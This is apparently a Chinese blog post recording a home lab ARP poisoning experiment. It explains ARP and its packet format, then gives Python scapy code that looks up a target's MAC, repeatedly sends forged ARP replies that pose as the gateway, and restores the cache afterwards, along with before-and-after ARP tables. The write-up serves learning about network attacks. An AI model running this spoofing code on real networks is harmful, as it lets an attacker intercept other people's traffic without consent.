这一年里学习了许多网络方面的知识,其中ARP协议被誉为“最不安全的网络协议”。
最近闲来无事,造一下轮子并且复习一下相关方面知识的印象。做了一个ARP投毒实验,感觉这东西蛮好玩的。

前言

前置说明:
ARP投毒有多种思路,本文仅以其中一个为栗子进行实验,其他方法思路基本差不多。

前置条件:

  • 基本的计算机网络基础
  • ARP协议
  • python3
  • 需要用到的库
    • scapy
  • 两台能通信的设备

ARP欺骗的方法:

  • ARP中间人欺骗投毒
  • ARP伪装网关投毒

ARP协议基础

ARP协议是什么

当一台主机和另一台主机通信,要知道目标的IP地址,但在局域网中传输数据网卡却不能直接识别IP地址,所以用ARP解析协议讲IP地址解析成MAC地址。
ARP协议的基本功能就是通过目标设备的IP地址来查询目标设备的mac地址,举个栗子:(局域网中有如下主机)

主机 IP地址 MAC地址 网关
A 192.168.2.2 Mac-a 192.168.2.1
B 192.168.2.3 Mac-b 192.168.2.1
C 192.168.2.4 mac-c 192.168.2.1

主机A会先查询自己的ARP缓存表里有没有B的联系方式,有的话,就将mac-b地址封装到数据包外面,发送出去。没有的话,A会向全网络发送一个

ARP广播包,大声询问:我的IP地址是192.168.2.2,硬件地址是mac-a,我想知道IP地址是192.168.2.3的硬件地址是多少?   
此时,局域网内所有主机都收到了,B收到后会单独私密回应:我是192.168.2.3,我的硬件地址是mac-b,其他主机不会理A的询问。
此时A知道了B的信息,同时也会动态的更新自身的缓存表

ARP报文格式

ARP报文分为ARP请求和ARP应答报文两种,它们的报文格式可以统一为下图所示:

ARP 报文总长度为 28 字节,MAC 地址长度为 6 字节,IP 地址长度为 4 字节。
其中每个字段的含义如下:

  • 硬件类型:表示ARP报文可以在哪种类型的网络上传输,值为1时表示为以太网地址。
  • 协议类型:表示要映射的协议地址类型。它的值为 0x0800,表示 IP 地址。
  • MAC地址长度:标识MAC地址长度,值为6。
  • IP协议地址长度:标识IP的长度,值为4。
  • 操作类型:用来表示这个报文的类型,ARP 请求为 1,ARP 响应为 2,RARP 请求为 3,RARP 响应为 4。
  • 源MAC地址:占6字节,标识发送设备的硬件地址。(发送方 MAC 地址)
  • 源IP地址:标识发送方设备的IP地址。(发送方设备的 IP 地址。)
  • 目的MAC地址:表示接收方设备的硬件地址。
    • 广播地址:FF:FF:FF:FF:FF:FF,局域网内所有用户都能收到
    • 单播地址:前24位为厂商地址中, Individual/Group(I/G)位为1。
  • 目的IP地址:表示接受方的IP地址。

不过这里要注意,ARP报文部署直接在网络层上发送的,它还需要向下传输到数据链路层,所以当ARP报文传输到数据链路层后,还要进行封装。不过这个实验不需要用到,因此不作说明。

基本思路

通过上面的铺垫我们知道,网络通信的实现是需要mac地址的,并且是以mac地址为准的。
假设当前主机A的ARP表记录的网关mac地址是:11:11:11:11:11:11,如果我们告诉主机A,网关的地址是:22:22:22:22:22:22。那么主机A之后发送给网关的数据包都会发送到22:22:22:22:22:22这个地址上。
这就是简单的ARP伪装网关欺骗攻击,可以结合上图进行理解,但图片来源于网络可能不太准确。
代码部分我会拆分成各个模块进行说明,实验如下:

实验代码

获取目标Mac地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def main():
# 指定以太网的网卡
interface = "eth0"

# 填写网关IP
gateway_ip = "1.1.1.1"

# 填写投毒目标IP
target_ip = "1.1.1.1"
conf.iface = interface
conf.verb = 0

gateway_mac = getmacbyip(gateway_ip)
#获取目标mac地址
target_mac = getmacbyip(target_ip)
if target_mac is None:
print("目标IP获取失败")
sys.exit(0)
else:
print("目标MAC地址: %s"%target_mac)

向主机A投毒

相比于中文翻译的报文格式,查看原生的报文格式会更容易理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def attact_target(gateway_ip, gateway_mac, target_ip, target_mac):
# 这一部分的内容上文都有详解
# 初始化一个ARP包,并填入各项内容
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway_ip
poison_target.pdst = target_ip
poison_target.hwdst = target_mac

# 发送数据包,高频发送ARP包,以防给刷新
print("正在投毒...")
while True:
try:
send(poison_target)
sleep(2)
except KeyboardInterrupt:
# 投毒结束,恢复目标ARP缓存
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
break

恢复目标ARP缓存

原理和投毒一样,只不过反了过来,自行理解。

1
2
3
4
5
6
7
restore = ARP()
restore.op = 2
restore.psrc = gateway_ip
restore.pdst = target_ip
restore.hwdst = target_mac
restore.hwsrc = gateway_mac
send(restore,count=5)

实验结果

投毒前数据

总结如下表:

主机 IP地址 MAC地址 备注
网关 192.168.2.1 18-31-bf-47-1c-98 本地网关
Windows10 192.168.2.200 靶机
Linux 192.168.2.123 00-cf-e0-40-02-60 投毒机

投毒后数据

总结如下表:

主机 IP地址 MAC地址 备注
网关 192.168.2.1 00-cf-e0-40-02-60 本地网关
Windows10 192.168.2.200 靶机
Linux 192.168.2.123 00-cf-e0-40-02-60 投毒机

由此可见,通过ARP投毒污染,靶机192.168.2.1对应的mac地址已与Linux投毒机一致,说明投毒成功。实验结束。

参考资料

ARP参考资料1:https://blog.csdn.net/u011784495/article/details/71716586
投毒污染参考资料2:https://blog.csdn.net/zhydream77/article/details/85334042